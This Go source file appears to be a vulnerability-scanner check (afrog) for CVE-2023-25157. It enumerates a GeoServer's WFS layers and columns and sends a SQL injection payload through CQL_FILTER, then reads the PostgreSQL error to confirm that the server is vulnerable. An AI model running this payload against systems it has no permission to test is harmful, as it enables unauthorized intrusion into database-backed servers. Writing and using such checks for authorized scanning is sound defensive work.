package gox

import (
	"bytes"
	"encoding/json"
	"fmt"
	"net/http"
	"net/url"
	"regexp"
	"time"

	"github.com/zan8in/afrog/v3/pkg/proto"
)

func isInjectable(target string, context string, workspace string, column string) (string, *proto.Request, *proto.Response, bool, error) {

	parseurl, _ := url.Parse(target)
	fulltarget := parseurl.String() + context + "/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=" + workspace + "&CQL_FILTER=strStartsWith(" + column + ",'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+current_user)+AS+INTEGER))+--+')+%3d+true"
	local := make(map[string]any)
	body0, err := DoHTTPWithTimeout(6*time.Second, http.MethodGet, fulltarget, nil, nil, false, local)
	if err != nil {
		return "", nil, nil, false, err
	}

	if body0 != nil && (bytes.Contains(body0.Body, []byte("invalid input syntax for type integer")) || bytes.Contains(body0.Body, []byte("PSQLException"))) {

		body1, err := DoHTTPWithTimeout(6*time.Second, http.MethodGet, parseurl.String()+context+"/ows?service=wfs&version=1.0.0&request=GetFeature&typeName="+workspace+"&CQL_FILTER=", nil, nil, false, nil)
		if err != nil {
			return "", nil, nil, false, err
		}
		if body1 != nil && (bytes.Contains(body1.Body, []byte("invalid input syntax for type integer")) || bytes.Contains(body1.Body, []byte("PSQLException"))) {
			return "", nil, nil, false, nil
		}

		var reqObj *proto.Request
		if v := local["request"]; v != nil {
			if pr, ok := v.(*proto.Request); ok {
				reqObj = pr
			}
		}
		return fulltarget, reqObj, body0, true, nil
	}

	return "", nil, nil, false, nil
}

func CVE_2023_25157(target string, variableMap map[string]any) error {
	variableMap["request"] = nil
	variableMap["response"] = nil
	parseurl, _ := url.Parse(target)

	con := ""
	var capabilitiesResp []byte

	body0, err := DoHTTPWithTimeout(6*time.Second, http.MethodGet, parseurl.String()+"/ows?service=WFS&version=1.0.0&request=GetCapabilities", nil, nil, false, variableMap)
	if err != nil {
		return err
	}
	if body0 == nil || body0.Status != 200 {
		body1, err := DoHTTPWithTimeout(6*time.Second, http.MethodGet, parseurl.String()+"/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", nil, nil, false, variableMap)
		if err != nil {
			return err
		}
		if body1 == nil || body1.Status != 200 {
			return nil
		} else {
			capabilitiesResp = body1.Body
			con = "/geoserver"
		}
	} else {
		capabilitiesResp = body0.Body
	}

	// 获取所有 workspace
	var workspaces []string
	blacklist := []string{
		"ne:boundary_lines", "ne:coastlines", "ne:countries", "tiger:poly_landmarks", "tiger:poi",
		"tiger:tiger_roads", "ne:populated_places", "sf:archsites", "sf:bugsites", "sf:restricted", "sf:roads",
		"sf:streams", "topp:tasmania_cities", "topp:tasmania_roads", "topp:tasmania_state_boundaries",
		"topp:tasmania_water_bodies", "topp:states", "tiger:giant_polygon",
	}
	pattern, err := regexp.Compile(`<FeatureType><Name>(.*?)</Name>`)
	if err != nil {
		return err
	}
	for _, match := range pattern.FindAllStringSubmatch(string(capabilitiesResp), -1) {
		if StringIn(match[1], blacklist) {
			continue
		}
		workspaces = append(workspaces, url.QueryEscape(match[1]))
	}

	for _, workspace := range workspaces {

		body2, err := DoHTTPWithTimeout(6*time.Second, http.MethodGet, parseurl.String()+con+"/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName="+workspace, nil, nil, false, nil)
		if err != nil {
			return err
		}

		var data map[string]interface{}
		if body2 == nil {
			continue
		}
		if err := json.NewDecoder(bytes.NewReader(body2.Body)).Decode(&data); err != nil {
			continue
		}

		featureTypes := data["featureTypes"].([]interface{})
		for _, featureType := range featureTypes {
			featureType, ok := featureType.(map[string]interface{})
			if !ok {
				err = fmt.Errorf("featureType is %v", featureType)
				continue
			}
			properties := featureType["properties"]
			if properties == nil {
				continue
			}
			propertiesConvert, ok := properties.([]interface{})
			if !ok {
				err = fmt.Errorf("properties is %v", properties)
				continue
			}
			for _, property := range propertiesConvert {
				property, ok := property.(map[string]interface{})
				if !ok {
					err = fmt.Errorf("property is %v", property)
					continue
				}
				column, ok := property["name"]
				if !ok {
					continue
				}
				columnStr, ok := column.(string)
				if !ok {
					err = fmt.Errorf("column is %v", column)
					continue
				}
				if fulltarget, reqObj, respObj, ok, err := isInjectable(target, con, workspace, columnStr); err != nil {
					continue
				} else if ok {
					variableMap["request"] = reqObj
					variableMap["response"] = respObj
					setTarget(target, variableMap)
					setFullTarget(fulltarget, variableMap)
					return nil
				}
			}
		}
	}

	return nil
}

func init() {
	funcMap["CVE-2023-25157"] = CVE_2023_25157
}
func StringIn(s string, slice []string) bool {
	for _, v := range slice {
		if v == s {
			return true
		}
	}
	return false
}
